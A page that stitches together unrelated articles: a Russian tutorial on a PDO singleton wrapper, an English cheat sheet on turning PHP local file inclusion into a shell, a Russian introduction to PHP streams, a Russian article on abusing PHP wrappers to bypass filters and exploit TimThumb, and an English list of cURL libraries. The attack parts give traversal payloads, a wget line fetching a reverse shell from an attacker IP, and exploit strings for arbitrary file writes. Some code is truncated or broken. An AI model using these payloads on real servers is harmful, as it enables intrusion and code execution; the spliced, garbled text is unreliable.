Введение в PHP Потоки. Как врапперы PHP могут быть использованы для атаки на веб-приложения Что таит в себе ZIP


Главный недостаток и PDO, и mysqli при работе с подготовленными выражениями состоит в том, что их встроенные функции заточены на множественное исполнение подготовленного запроса (когда prepare вызывается только раз, а потом много раз вызывается execute() с разными данными). Из-за этого они так многословны. Но беда в том, что на практике в РНР выполнять такие запросы приходится довольно редко. И в результате для большинства запросов приходится каждый раз писать ненужный код:

$stmt = $pdo -> prepare ($sql );
$stmt -> execute ($params );
$data = $stmt -> fetch ();

Что называется - за что боролись, на то и напоролись. Никакого сокращения кода по сравнению с приснопамятной mysql_query() не произошло. А очень бы хотелось!
При этом Wes Furlong подложил пользователям PDO еще одну свинью - execute() возвращает тупо булево значение вместо того, чтобы возвращать стейтмент, что позволило бы реализовать method chaining и получать красивый код вида

$data = $pdo -> prepare ($sql )-> execute ($params )-> fetch ();

Но увы, даже такой подход почти недоступен. Да и в любом случае он избыточен, поскольку в большинстве случаев нам не надо делать ни prepare, ни execute - нам надо тупо выполнить чертов запрос, передав в него чертовы данные для плейсхолдеров.

Поэтому, чтобы сократить количество писанины, добавим к PDO одну функцию, run(), вся функция которой будет сводиться приведенному выше коду - выполнить prepare/execute и вернуть стейтмент:

class MyPDO extends PDO
{
public function run ($sql , $args = NULL )
{
$stmt = $this -> prepare ($sql );
$stmt -> execute ($args );
return $stmt ;
}
}

А уже из стейтмента мы можем получить любые данные, любым стандартным способом:

$data = $pdo -> run ("SELECT * FROM users WHERE sex="male"" )-> fetchAll ();

Проблема N2, доступность
Еще одним неприятным открытием для новичков является то, что к ПДО нельзя обратиться в любом месте скрипта, как к mysql_query().

Поэтому следующим улучшением будет реализация доступа к ПДО через статический синглтон. Этот паттерн частенько ругают в интернете, и за дело. Но тут надо понимать одну простую вещь:
Если ваш код подвержен тем проблемам, которые может породить синглтон - значит, вы уже пользуетесь высокоуровневым драйвером БД, скорее всего из состава популярно фремворка.
Но если вы только-только вылезли из пещеры с mysql_query(), привыкнув писать её по всему коду не заботясь о передаче соединения, то необходимость таскать за собой инстанс PDO станет серьёзным испытанием. При том, что и сам синтаксис PDO, и подготовленных выражений и сами по себе образуют не хилый такой порог вхождения. Так что попробуем подсластить пилюлю возможностью обратиться к БД из любого места скрипта, как в старые добрые времена.

В итоге у нас получилась очень компактная надстройка над PDO, которая, будучи такой же простой в использовании, как и mysql_query(), при этом сокращает код и обеспечивает безопасность подготовленных выражений.

Код

define ("DB_HOST" , "localhost" );
define ("DB_NAME" , "test" );
define ("DB_USER" , "root" );
define ("DB_PASS" , "" );
define ("DB_CHAR" , "utf8" );

class DB
{
protected static $instance = null ;

Public function __construct () {}
public function __clone () {}

Public static function instance ()
{
if (self :: $instance === null )
{
$opt = array(
PDO :: ATTR_ERRMODE => PDO :: ERRMODE_EXCEPTION ,
PDO :: ATTR_DEFAULT_FETCH_MODE => PDO :: FETCH_ASSOC ,
PDO :: ATTR_EMULATE_PREPARES => TRUE ,
);
$dsn = "mysql:host=" . DB_HOST . ";dbname=" . DB_NAME . ";charset=" . DB_CHAR ;
self :: $instance = new PDO ($dsn , DB_USER , DB_PASS , $opt );
}
return self :: $instance ;
}

Public static function __callStatic ($method , $args )
{
return call_user_func_array (array(self :: instance (), $method ), $args );
}

Public static function run ($sql , $args = )
{
if (! $args )
{
return self :: instance ()-> query ($sql );
}
$stmt = self :: instance ()-> prepare ($sql );
$stmt -> execute ($args );
return $stmt ;
}
}

Примеры

# Создаем таблицу
DB :: query ("CREATE temporary TABLE pdowrapper (id int auto_increment primary key, name varchar(255))" );

# множественное исполнение подготовленных выражений
$stmt = DB :: prepare ("INSERT INTO pdowrapper VALUES (NULL, ?)" );
foreach ([ "Sam" , "Bob" , "Joe" ] as $name )
{
$stmt -> execute ([ $name ]);
}
var_dump (DB :: lastInsertId ());
//string(1) "3"

# Получение строк в цикле
$stmt = DB :: run ("SELECT * FROM pdowrapper" );
while ($row = $stmt -> fetch (PDO :: FETCH_LAZY ))
{
echo $row [ "name" ], "," ;
echo $row -> name , "," ;
echo $row [ 1 ], PHP_EOL ;
}
/*
Sam,Sam,Sam
Bob,Bob,Bob
Joe,Joe,Joe
*/

# Получение одной строки
$id = 1 ;
$row = DB :: run ("SELECT * FROM pdowrapper WHERE id=?" , [ $id ])-> fetch ();
var_export ($row );
/*
array (
"id" => "1",
"name" => "Sam",
*/

# Получение одного поля
$name = DB :: run ("SELECT name FROM pdowrapper WHERE id=?" , [ $id ])-> fetchColumn ();
var_dump ($name );
//string(3) "Sam"

# Получение всех строк в массив
$all = DB :: run ("SELECT name, id FROM pdowrapper" )-> fetchAll (PDO :: FETCH_KEY_PAIR );
var_export ($all );
/*
array (
"Sam" => "1",
"Bob" => "2",
"Joe" => "3",
*/

# Обновление таблицы
$new = "Sue" ;
$stmt = DB :: run ("UPDATE pdowrapper SET name=? WHERE id=?" , [ $new , $id ]);
var_dump ($stmt -> rowCount ());
//int(1)

LFI stands for Local File Includes - it’s a file local inclusion vulnerability that allows an attacker to include files that exist on the target web server. Typically this is exploited by abusing dynamic file inclusion mechanisms that don’t sanitize user input.

Scripts that take filenames as parameters without sanitizing the user input are good candidates for LFI vulnerabilities, a good example would be the following PHP script foo.php?file=image.jpg which takes image.jpg as a parameter. An attacker would simply replace image.jpg and insert a payload. Normally a directory traversal payload is used that escapes the script directory and traverses the filesystem directory structure, exposing sensitive files such as foo.php?file=../../../../../../../etc/passwd or sensitive files within the web application itself. Exposing sensitive information or configuration files containing SQL usernames and passwords.

Note: In some cases, depending on the nature of the LFI vulnerability it’s possible to run system executables.

How to get a Shell from LFI

Below are some techniques I’ve used in the past to gain a shell on systems with vulnerable LFI scripts exposed.

Path Traversal aka Directory Traversal

As mentioned above Traverse the filesystem directory structure to disclose sensitive information about the system that can help you gain a shell, usernames / passwords etc.

PHP Wrapper expect:// LFI

Allows execution of system commands via the php expect wrapper, unfortunately this is not enabled by default.

An example of PHP expect:

Http://127.0.0.1/fileincl/example1.php?page= expect://ls

Below is the error received if the PHP expect wrapper is disabled:

Warning : include () : Unable to find the wrapper "expect" - did you forget to enable it when you < br > configured PHP ? in / var / www / fileincl / example1 . php on line 7 Warning : include () : Unable to find the < br > wrapper "expect" - did you forget to enable it when you configured PHP ? in < br > / var / www / fileincl / example1 . php on line 7 Warning : include (expect :// ls ) : failed to open stream : No such file or directory in / var / www / fileincl / example1 . php on line 7 Warning : include () : Failed opening "expect://ls" for inclusion (include_path = ".:/usr/share/php:/usr/share/pear" ) in / var / www / fileincl / example1 . php on line 7

PHP Wrapper php://file

Another PHP wrapper, php://input your payload is sent in a POST request using curl, burp or hackbar to provide the post data is probably the easiest option.

Http://192.168.183.128/fileincl/example1.php?page= php://input

Post Data payload, try something simple to start with like:

Then try and download a from your attacking machine using:

"wget http://192.168.183.129/php-reverse-shell.php -O /var/www/shell.php" ) ; ?>

After uploading execute the reverse shell at http://192.168.183.129/shell.php

PHP Wrapper php://filter

Another PHP wrapper, php://filter in this example the output is encoded using base64, so you’ll need to decode the output.

Http://192.168.155.131/fileincl/example1.php?page= php://filter/convert.base64-encode/resource= ../../../../../etc/passwd

/proc/self/environ LFI Method

If it’s possible to include /proc/self/environ from your vulnerable LFI script, then code execution can be leveraged by manipulating the User Agent parameter with Burp. After the PHP code has been introduced /proc/self/environ can be executed via your vulnerable LFI script.

/proc/self/fd/ LFI Method

Similar to the previous /proc/self/environ method, it’s possible to introduce code into the proc log files that can be executed via your vulnerable LFI script. Typically you would use burp or curl to inject PHP code into the referer .

This method is a little tricky as the proc file that contains the Apache error log information changes under /proc/self/fd/ e.g. /proc/self/fd/2 , /proc/self/fd/10 etc. I’d recommend brute forcing the directory structure of the /proc/self/fd/ directory with Burp Intruder + FuzzDB’s LFI-FD-Check.txt list of likely proc files, you can then monitor the returned page sizes and investigate.

fimap LFI Pen Testing Tool

fimap is a tool used on pen tests that automates the above processes of discovering and exploiting LFI scripts. Upon discovering a vulnerable LFI script fimap will enumerate the local filesystem and search for writable log files or locations such as /proc/self/environ . Another tool commonly used by pen testes to automate LFI discovery is Kali’s dotdotpwn, which works in a similar way.

fimap + phpinfo() Exploit

Fimap exploits PHP’s temporary file creation via Local File Inclusion by abusing PHPinfo() information disclosure glitch to reveal the location of the created temporary file.

If a phpinfo() file is present, it’s usually possible to get a shell, if you don’t know the location of the phpinfo file fimap can probe for it, or you could use a tool like OWASP DirBuster.

В программировании постоянно приходиться работать с различными ресурсами: файлами, сокетами, http-соединениями . И у них у всех есть некий интерфейс доступа, часто несовместимый друг с другом. Поэтому, чтобы устранить данные несоответствия и унифицировать работу с различными источниками данных, начиная с PHP 4.3 были придуманы PHP Streams - потоки .

Несмотря на то, что PHP 4.3 вышел давным-давно, многие PHP-программисты имеют весьма отдаленное представление о потоках в PHP , и продолжают использовать CURL везде, хотя в PHP для этого существует более удобная альтернатива в виде контекста потоков (Stream Context) .

Следующие виды потоков существуют в PHP :

  • Файл на жестком диске;
  • HTTP-соединение с веб-сайтом;
  • Соединение UDP с сервером;
  • ZIP-файл ;
  • Файл *.mp3 .

Что общего есть во всех этих ресурсах? Все они могут быть прочитаны и записаны, т.е. к ним ко всем могут быть применены операции чтения и записи. Сила потоков PHP как раз и заключается в том, что вы можете получить доступ ко всем этим ресурсам, используя один и тот же набор функций. Это очень удобно. Также, если вдруг возникнет такая необходимость, Вы можете написать свою собственную реализацию обработчика потоков "stream wrapper" . Помимо чтения и записи, потоки в PHP также позволяет выполнять другие операции, такие как переименование и удаление.

Программируя на PHP , Вы уже встречались с потоками, хотя возможно не догадывались об этом. Так, функции, работающие с потоками - это fopen() , file_get_contents() , file() и т.д. Поэтому, фактически, Вы уже используете файловые потоки все это время, полностью прозрачно.

Для работы с другим типом потока, необходимо указать его протокол (wrapper) следующим образом: wrapper://some_stream_resource , где wrapper:// - это, например http:// , file:// , ftp:// , zip:// и т.д., а some_stream_resource - URI-адрес , идентифицирует то, что вы хотите открыть. URI-адрес не накладывает каких-либо ограничений на формат. Примеры:

  • http://сайт/php-stream-introduction.html
  • file://C:/Projects/rostov-on-don.jpg
  • ftp://user:[email protected]/pub/file.txt
  • mpeg://file:///music/song.mp3
  • data://text/plain;base64,SSBsb3ZlIFBIUAo=

Однако, учтите, что не все протоколы и обработчики могут работать у Вас, так как поддержка некоторых оболочек зависит от Ваших настроек. Поэтому, чтобы узнать какие протоколы поддерживаются необходимо выполнить следующий скрипт:

// список зарегистрированных транспортов сокета
print_r(stream_get_transports());

// список зарегистрированных потоков (обработчиков)
print_r(stream_get_wrappers());

// список зарегистрированных фильтров
print_r(stream_get_filters();

Контексты потоков PHP

Часто возникает необходимость указания дополнительных параметров при http-запросе. Контексты потоков решают эту проблему, позволяя указать дополнительные параметры. У многих функций, поддерживающих работу с потоками, есть необязательный параметр контекста потока. Давайте посмотрим на функцию file_get_contents() :

String file_get_contents(string $filename [, int $flags = 0 [, resource $context [, int $offset = -1 [, int $maxlen = -1]]]])

Как видно, третьим параметром передается контекст потока. Контексты создаются с помощью функции stream_context_create() , которая принимает массив и возвращает ресурс контекста.

$options = array(
"http" => array(
"method" => "GET",
"header" => "Accept-language: en\r\n".
"Cookie: foo = bar\r\n"
);

$context = stream_context_create($options);

// Используя это с file_get_contents ...
echo file_get_contents ("http://www.example.com/", 0, $context);

Таким образом, сегодня мы узнали, что такое потоки и контексты потоков в PHP , рассмотрели примеры их использования, а в следующих статьях мы поговорим о метаданных потока и создадим свой собственный обработчик.

Гибкость языка программирования добавляет удобства разработчикам, но и открывает новые векторы для атаки. Разработчики РНР часто используют так называемые wrapper’ы и даже не подозревают, что это может привести к обходу встроенных в приложение фильтров безопасности и, к примеру, позволить выполнить на сервере произвольный код. О врапперах, их особенностях и угрозах, с ними связанных, и пойдет сегодня речь.

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный с использованием материалов этой статьи.

Intro

Уязвимости, связанные с реализованным в PHP механизмом врапперов, обсуждаются достаточно давно. Ссылки на них присутствуют в OWASP TOP 10 и WASC TCv2. Однако ряд особенностей реализации кодирования данных приводит к тому, что даже приложения, разработанные с учетом требований безопасности, могут содержать уязвимости (включая критические). В этой статье мы сначала кратко рассмотрим, что представляют собой PHP wrappers и как они могут быть полезны программистам. Затем разберем их особенности, которые позволяют обходить встроенные в приложение фильтры безопасности и реализовывать атаки, связанные с несанкционированным доступом к файловой системе и выполнением произвольного кода.

Wrapper’ы

В PHP есть такое понятие, как потоки (Streams), которые появились в интерпретаторе начиная с версии 4.3.0. Это абстрактный слой для работы с файлами, сетью, сжатыми данными и другими ресурсами, использующими единый набор функций. В простейшем определении, поток - это ресурс, имеющий «потокообразное» поведение. То есть ресурс, из которого можно читать, в который можно писать и внутри которого можно перемещаться. Для примера рассмотрим функцию fopen. Согласно официальной документации, она имеет следующий синтаксис:

Resource fopen (string $filename , string $mode [, bool $use_include_path = false [, resource $context ]])

где в качестве $filename может быть использован путь до локального файла. Хорошо известно, что получить содержимое локальных файлов можно так:

$handle = fopen($file, "rb"); while (!feof($handle)) { $contents .= fread($handle, 8192); } print $contents;

Но помимо тривиального пути к файлу могут быть использованы так называемые врапперы (wrapper). Лучший способ пояснить, что это такое, - привести несколько примеров. Итак, с использованием врапперов через все ту же функцию fopen становится возможным:

  • скачивать файлы с FTP: ftp://user:[email protected]/pub/file.txt;
  • обращаться, если доступ к ним ограничен, к server-status/server-info по IP: http://127.0.0.1/server-status;
  • обращаться к файловым дескрипторам, открытым на чтение (PHP >= 5.3.6): php://fd/XXX;
  • и даже выполнить команды OS (если установлено расширение expect): expect://ls.

Врапперы (они же обработчики протокола или обертки) указывают функциям, каким образом обрабатывать данные из потока. Поэтому функции, поддерживающие врапперы, могут быть использованы для получения данных из различных источников. Врапперы позволяют гибко и удобно обрабатывать данные, поступающие в программу через какой-либо поток, а также модифицировать их при необходимости.

В рассмотренном примере врапперы использовались в режиме read. Если же происходит запись данных, то и в этом случае врапперы также могут расширить возможности многих функций. Например, функция copy() поддерживает врапперы в обоих своих аргументах, и если во втором аргументе используется обертка php://output, то копируемый файл отправляется в выходной буфер. Таким образом, функция copy() позволяет не только копировать файлы, но и читать их.

Copy("/etc/passwd" , "php://output");

Аналогичным образом можно использовать функцию file_put_contents и любую другую функцию, поддерживающую враппер в режиме write:

File_put_contents("php://output", file_get_contents("/etc/hosts"));

В версии PHP 5.3.6 появился враппер php://fd, который предоставляет прямой доступ к файловым дескрипторам. Если PHP установлен как модуль Apache’а, враппер php://fd дает возможность записывать произвольные данные в access_log/error_log (обычно права на этих файлах 644, и напрямую в них может писать только root).

Надо сказать, что в PHP довольно много встроенных врапперов, но при этом можно создавать и регистрировать собственные обертки, используя функцию stream_wrapper_register. Более подробную информацию ты сможешь найти на официальном сайте PHP . Полный список доступных врапперов можно посмотреть с секции phpinfo - Registered PHP Streams.

Некоторые врапперы имеют недокументированные особенности, позволяющие более эффективно эксплуатировать уязвимости веб-приложений. Именно эти особенности мы сегодня и рассмотрим.

Что таит в себе ZIP?

ZIP - популярный формат сжатия данных и архивации файлов. Поддержка этого формата реализована во всех современных операционных системах, а библиотеки для работы с ним написаны для большинства языков программирования. В PHP для работы с этим форматом удобно использовать модуль zip.

В Linux-системах модуль zip становится доступным, если PHP скомпилирован с опцией —enable-zip. Архивировать можно не только отдельные файлы, но и целые каталоги; чтобы сохранялась структура каталога, в именах файлов, добавляемых в архив, допустимо использовать слеш /. Еще одной важной особенностью модуля zip является возможность обрабатывать файлы с произвольным именем: главное, чтобы содержимое файла было корректно сформированным zip-архивом.

Создание zip-архива $zip = new ZipArchive; if ($zip->open("/tmp/any_name_zip_arxiv",1)){ $zip->addFromString("/my/header.html", "close();

После того как zip-архив создан, с помощью враппера zip:// можно напрямую обращаться к файлам внутри архива.

Чтение файла из zip-архива print file_get_contents("zip:///tmp/any_name_zip_arxiv#/my/header.html");

Возможность помещать в архив файлы, в именах которых присутствует слеш, позволяет эксплуатировать уязвимости типа Remote File Include, при отсутствии null-байта. Для примера рассмотрим следующий простой скрипт:

$s = $_POST["path"]; include $s."/header.html";

Конечно, добиться выполнения кода в данном случае можно разными путями. Но использование врапперов http://, ftp://, data:// ограничивается директивой allow_url_include, а использованию null-байта при инклуде локальных файлов скорей всего помешает директива magic_quotes_gpc. И может даже показаться, что при allow_url_include=Off и magic_quotes_gpc=On проэксплуатировать уязвимость никаким образом не получится. Но есть еще один способ, не описанный ранее в паблике!

Для начала предположим, что есть возможность создавать на атакуемом сервере файлы. Тогда, создав zip-архив, как показано в примере выше, возможно выполнить PHP-код, используя враппер zip://.

Path=zip:///tmp/any_name_zip_arxiv#/my

Если нет возможности создать нужный файл с помощью PHP-функции, то можно использовать временные файлы, которые создает PHP при загрузке контента через HTML-форму. Путь до временного файла можно узнать из phpinfo(). Более подробные сведения о том, как использовать временные файлы при эксплуатации уязвимостей типа LFI/RFI, можно почерпнуть на форуме rdot.org . Важно отметить, что директива allow_url_fopen не ограничивает применение обертки zip://.

Where is my data://?

Враппер data:// с момента своего появления привлекал внимание специалистов по веб-безопасности. В официальной документации этот враппер предлагают использовать в очень ограниченной форме. Но согласно спецификации RFC 2379, эта обертка допускает более развернутый синтаксис:

Dataurl:= "data:" [ mediatype ] [ ";base64" ] "," data mediatype:= [ type "/" subtype ] *(";" parameter) data:= *urlchar parameter:= attribute "=" value

При этом mediatype может либо полностью отсутствовать, либо быть заполнен произвольными значениями:

Data://anytype/anysubtype;myattr!=V@l!;youattr?=Op$;base64

Эту особенность враппера можно использовать для обхода проверок и фильтров. Например, в популярном скрипте TimThumb v1.x есть такой фильтр:

Function validate_url ($url) { $pattern="/\b(?:(?:https?):\/\/|www\.)[-a-z0-9+&@#\/%?=~_|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i"; return preg_match ($pattern, $url); }

Обойти эту проверку можно следующим образом:

Data://text/plain;charset=http://w?param=anyval;base64,SSBsb3ZlIFBIUAo

В PHP существует такая функция, как stream_get_meta_data(). Согласно официальной документации, она извлекает метаданные из потоков и файловых указателей:

Array stream_get_meta_data (resource $stream)

При этом в возвращаемом массиве содержатся элементы с четко заданными ключами, и задача добавления в этот массив новых элементов выглядит на первый взгляд довольно проблематичной. Но с помощью враппера data:// можно довольно просто манипулировать этим массивом! Как? Приведу пример:

$password = "secret"; $file = $_POST["file"]; $fp = fopen($file, "r"); extract(stream_get_meta_data($fp)); if ($mediatype === "text/plain") { ... } if ($_COOKIE["admin"] === $password) { ... }

Если в переменной $file вместо имени локального файла использовать враппер data,

POST DATA: file=data://text/plain;password=mysecret;base64

то можно легко переопределить параметр $password и, используя куки, пройти авторизацию.

Cookie: admin=mysecret

Холодный компресс

Согласно документации, обертка compress.zlib:// позволяет распаковывать gz-архивы. Если с помощью этого враппера обрабатывать данные, не являющиеся zlib-архивом, то данные возвращаются без изменений.

Readfile("compress.zlib:///etc/hosts");

«Очень полезно!» - подумаешь ты:). Сейчас будет круче. Если ты хоть немного программировал на PHP для веба, то наверняка знаком с функцией prase_url(). Напомню, эта функция осуществляет парсинг URL. И тут есть один интересный момент: на вход функции можно предоставить не только URL, но и строку довольно общего типа:

Print_r(parse_url("anysheme://anysite.com/;http://w?v@l=!"));

Учитывая эту особенность, можно обходить различные проверки и фильтры на основе функции parse_url, используя многофункциональные врапперы. Для примера рассмотрим следующий скрипт, который, по задумке разработчиков, может загружать файлы только с доверенного хоста img.youtube.com.

$url_info = parse_url($_POST["src"]); if ($url_info["host"] === "img.youtube.com") { $name = str_replace("/", "", substr($url_info["path"], 4)); copy($src, "./".$name); }

В штатном режиме превью с img.youtube.com загружаются следующим образом:

POST DATA: src=http://img.youtube.com/vi/Uvwfxki7ex4/0.jpg

В этом случае фильтр можно обойти и с помощью враппера compress.zlib://.

POST DATA: src=compress.zlib://img.youtube.com/../path/to/local/file;

Помимо этого, довольно просто обойти фильтр на имя хоста и загрузить на сервер файл с произвольным именем и содержимым при помощи ранее рассмотренного нами враппера data://:

POST DATA: src=data://img.youtube.com/aaamy.php?;base64,SSBsb3ZlIFBIUAo

В этом случае локальные файлы будут копироваться в папку с превью: если эта папка доступна для прямого обращения из браузера, то появляется возможность просматривать системные файлы. Из этого примера видно, что использование врапперов data:// и compress.zlib:// может быть полезным в скриптах, скачивающих файлы с удаленных хостов. Одним из таких скриптов является TimThumb.


Эксплуатация уязвимостей в TimThumb v1.x

TimThumb - это популярный скрипт для работы с изображениями, который используется во многих темах и плагинах для WordPress. В августе 2011 года в скрипте TimThumb v 1.32 была найдена критическая уязвимость, позволяющая загружать на атакуемый сервер вместо изображений с доверенных хостов файлы с PHP-кодом . Почти в одночасье в публичном доступе появилась адвизори, подробно рассказывающая об эксплуатации этой уязвимости .

Суть уязвимости заключалась в том, что скрипт некорректно проводил проверку URL по списку доверенных хостов, с которых возможно было загрузить изображения. Для обхода фильтров, к примеру по доверенному хосту blogger.com, предлагалось зарегистрировать домен четвертого уровня, содержащего в себе URL доверенного хоста, например blogger.com.attacker.com, и загружать файлы с этого домена.

Http://www.target.com/timthumb.php?src=http://blogger.com.attacker.com/pocfile.php

Этим способом можно было проэксплуатировать уязвимость до версии 1.32 (revision 142). Но более новые версии оказались также уязвимы. Рассмотрим, каким образом происходит загрузка изображений в версии 1.34 (revision 145):

Function check_external ($src) { ...................... $filename = "external_" . md5 ($src); $local_filepath = DIRECTORY_CACHE . "/" . $filename; if (!file_exists ($local_filepath)) { if(strpos(strtolower($src),"http://")!==false|| strpos(strtolower($src),"https://")!==false){ if (!validate_url ($src)) display_error ("invalid url"); $url_info = parse_url ($src); ...................... if($url_info["host"]=="www.youtube.com" || $url_info["host"] == "youtube.com") { parse_str ($url_info["query"]); ...................... if (function_exists ("curl_init")) { ...................... $fh = fopen ($local_filepath, "w"); $ch = curl_init ($src); ..................................... curl_setopt ($ch, CURLOPT_URL, $src); ...................... curl_setopt ($ch, CURLOPT_FILE, $fh); curl_setopt ($ch, CURLOPT_WRITEFUNCTION, "curl_write"); ....................................... $file_infos = getimagesize ($local_filepath); if (empty ($file_infos["mime"]) || !preg_match ("/jpg|jpeg|gif|png/i", $file_infos["mime"])) { unlink ($local_filepath); touch ($local_filepath); ......................

Несложно заметить, что при проектировании функции check_external было допущено несколько логических ошибок:

  1. После выполнения большинства проверок в функцию parse_str попадают нефильтрованные пользовательские данные. Таким образом, можно переопределить переменные, которые до этого проверялись: $url_info[‘host’], $src, $local_filepath. Поэтому возможно загружать файлы с любых серверов.
  2. После загрузки файла на сервер на основе getimagesize проверяется, является ли файл изображением. Если проверка не пройдена, то файл удаляется. Но так как есть возможность влиять на переменную $local_filepath, то к локальному файлу можно обращаться, используя врапперы php://filter, compress.zlib://. А в этом случае функция unlink не сможет удалить файл.

Немного покопавшись, я написал эксплойт для загрузки файлов. С произвольным именем и с произвольным содержимым, в произвольное место системы.

Src=http://www.youtube.com/?local_filepath=php://filter/resource%3D./cache/test.php&url_info=img.youtube.com&src=http://site.com/thumb.txt

Ветка 1.х заканчивается 149-й ревизией, в которой тоже есть уязвимости. В этой ревизии уже убрана функция parse_str и поэтому нет возможности произвести перезапись переменных. Но фильтры, проверяющие валидность URL, проверяют только вхождение соответствующих подстрок в строке $src. При этом если функция curl_init недоступна на атакуемом сервере, то загрузка файлов осуществляется с помощью file_get_contents/file_put_contents. Важно отметить, что эти функции, в отличие от curl_init, поддерживают все доступные в PHP врапперы.

If(!$img = file_get_contents($src)) { display_error ("remote file for " . $src . "can not be accessed. It is likely that the file permissions are restricted"); } if(file_put_contents($local_filepath, $img) == FALSE) { display_error ("error writing temporary file"); }

Таким образом, с помощью враппера data:// можно обойти все фильтры и создать файл в директории кеша с произвольным содержимым:

Data://img.youtube.com/e;charset=http://w?var=;base64,SSBsb3ZlIFBIUAo

Или с помощью враппера compress.zlib:// скопировать в кеш локальный файл:

Compress.zlib://youtube.com/../http://?/../../path/to/local/file

Профит в том, что к файлам из кеша можно обращаться напрямую, в результате чего добиться RCE через запись шелла с помощью враппера data, а также получить содержимое локальных файлов, используя compress.zlib.

Вместо заключения

Очевидно, что встроенные в PHP врапперы дают большие возможности при эксплуатации уязвимостей типа File Manipulation. Но при этом стоит отметить, что даже самые простые проверки на основе функций file_exists, is_file, filesize не дадут воспользоваться врапперами. Также при установленном патче Suhosin по умолчанию невозможно использовать врапперы в инклудах, даже если директива allow_url_include имеет значение On. На этом я не закрываю тему использования врапперов и в следующей статье расскажу про возможности враппера php://filter на примерах эксплуатации уязвимостей в популярных веб-движках. Stay tuned!

Are the kings, however sometimes according to the size or importance of your project, you don"t need such a library but only cURL. The point is that cURL with the default syntax can become tedious to work with, so you may want to use a wrapper that simplifies many tasks and makes the execution of requests easier. In this top, we want to share with you 7 of the best wrappers libraries available for cURL on the web.

7. Curl by dcai

This wrapper offers an abstraction layer that simplifies the syntax of the PHP cURL Library:

$http = new dcai\curl; // enable cache $http = new dcai\curl(array("cache"=>true)); // enable cookie $http = new dcai\curl(array("cookie"=>true)); // enable proxy $http = new dcai\curl(array("proxy"=>true)); // HTTP GET $response = $http->get("http://example.com"); // HTTP POST $response = $http->post("http://example.com/", array("q"=>"words", "name"=>"moodle")); // POST RAW $xml = "perform"; $response = $http->post("http://example.com/", $xml); // HTTP PUT $response = $http->put("http://example.com/", array("file"=>"/var/www/test.txt");

6. CurlWrapper

CurlWrapper is a flexible wrapper class for PHP cURL extension. You can easily initialize an instance of the library with:

Try { $curl = new CurlWrapper(); } catch (CurlWrapperException $e) { echo $e->getMessage(); }

The CurlWrapper object supports 5 types of requests: HEAD, GET, POST, PUT, and DELETE. You must specify an url to request and optionally specify an associative array or query string of variables to send along with it:

$response = $curl->head($url, $params); $response = $curl->get($url, $params); $response = $curl->post($url, $params); $response = $curl->put($url, $params); $response = $curl->delete($url, $params);

5. Rolling cURLx

Rolling Curl is an easy to use cURL Multi wrapper for PHP with a very cool name. It aims at making concurrent http requests in PHP as easy as possible. First initialize class with the maximum number of concurrent requests you want open at a time:

$RCX = new RollingCurlX(10);

All requests after this will be queued until one completes:

$url = "http://www.google.com/search?q=apples"; $post_data = ["user" => "bob", "token" => "dQw4w9WgXcQ"]; //set to NULL if not using POST $user_data = ["foo", $whatever]; $options = ; function callback_functn($response, $url, $request_info, $user_data, $time) { $time; //how long the request took in milliseconds (float) $request_info; //array returned by curl_getinfo($ch), plus a couple extras } $RCX->addRequest($url, $post_data, "callback_functn", $user_data, $options, $headers);

Send the requests. Blocks until all requests complete or timeout:

$RCX->execute();

4. PHP Curl

PHP Curl is a very Simple PHP curl wrapper class for cURL. According to the author, this class is the smallest possible OOP wrapper for PHP"s curl capabilities. Note that this is not meant as a high-level abstraction. You should still know how "pure PHP" curl works, you need to know the curl options to set, and you need to know some HTTP basics. It"s syntax is developer friendly:

// newRequest, newJsonRequest and newRawRequest returns a Request object $request = $curl->newRequest("post", $url, ["foo" => "bar"]) ->setHeader("Accept-Charset", "utf-8") ->setHeader("Accept-Language", "en-US") ->setOption(CURLOPT_CAINFO, "/path/to/cert") ->setOption(CURLOPT_FOLLOWLOCATION, true); $response = $request->send();

3. Curl Easy

Curl Easy is wrapper for the cURL extension of PHP. Supports parallel and non-blocking requests. This is small but powerful and robust library which speeds the things up. If you are tired of using PHP cURL extension with its procedural interface, but you want also keep control about script execution it"s great choice for you. This library:

  • widely unit tested.
  • lightweight library with moderate level interface. It"s not all-in-one library.
  • parallel/asynchronous connections with very simple interface.
  • attaching/detaching requests in parallel on run time!
  • support for callbacks, so you can control execution process.
  • intelligent setters as alternative to CURLOPT_* constants.
  • if you know the cURL php extension, you don"t have to learn things from beginning

It"s syntax is pretty easy to understand as well:

getOptions() ->set(CURLOPT_TIMEOUT, 5) ->set(CURLOPT_RETURNTRANSFER, true); $response = $request->send(); $feed = json_decode($response->getContent(), true); echo "Current Bitcoin price: " . $feed["data"]["rate"] . " " . $feed["data"]["code"] . "\n";

2. Curl by Shuber

Curl library is a basic CURL wrapper for PHP. The Curl object supports 5 types of requests: HEAD, GET, POST, PUT, and DELETE. You must specify a url to request and optionally specify an associative array or string of variables to send along with it. Simply require and initialize the Curl class like so:

Require_once "curl.php"; $curl = new Curl; $response = $curl->head($url, $vars = array()); $response = $curl->get($url, $vars = array()); # The Curl object will append the array of $vars to the $url as a query string $response = $curl->post($url, $vars = array()); $response = $curl->put($url, $vars = array()); $response = $curl->delete($url, $vars = array());

1. PHP Curl Class

PHP Curl Class is a very well written wrapper of cURL that makes really easy to send HTTP requests and integrate with any kind of web APIs. PHP Curl Class works with PHP 5.3, 5.4, 5.5, 5.6, 7.0, 7.1, and HHVM. This library is widely known and offers a really easy syntax:

Require __DIR__ . "/vendor/autoload.php"; use \Curl\Curl; $curl = new Curl(); $curl->get("https://www.example.com/"); if ($curl->error) { echo "Error: " . $curl->errorCode . ": " . $curl->errorMessage . "\n"; } else { echo "Response:" . "\n"; var_dump($curl->response); }

If you know another awesome wrapper library for the cURL extension written in PHP, please share it with the community in the comment box.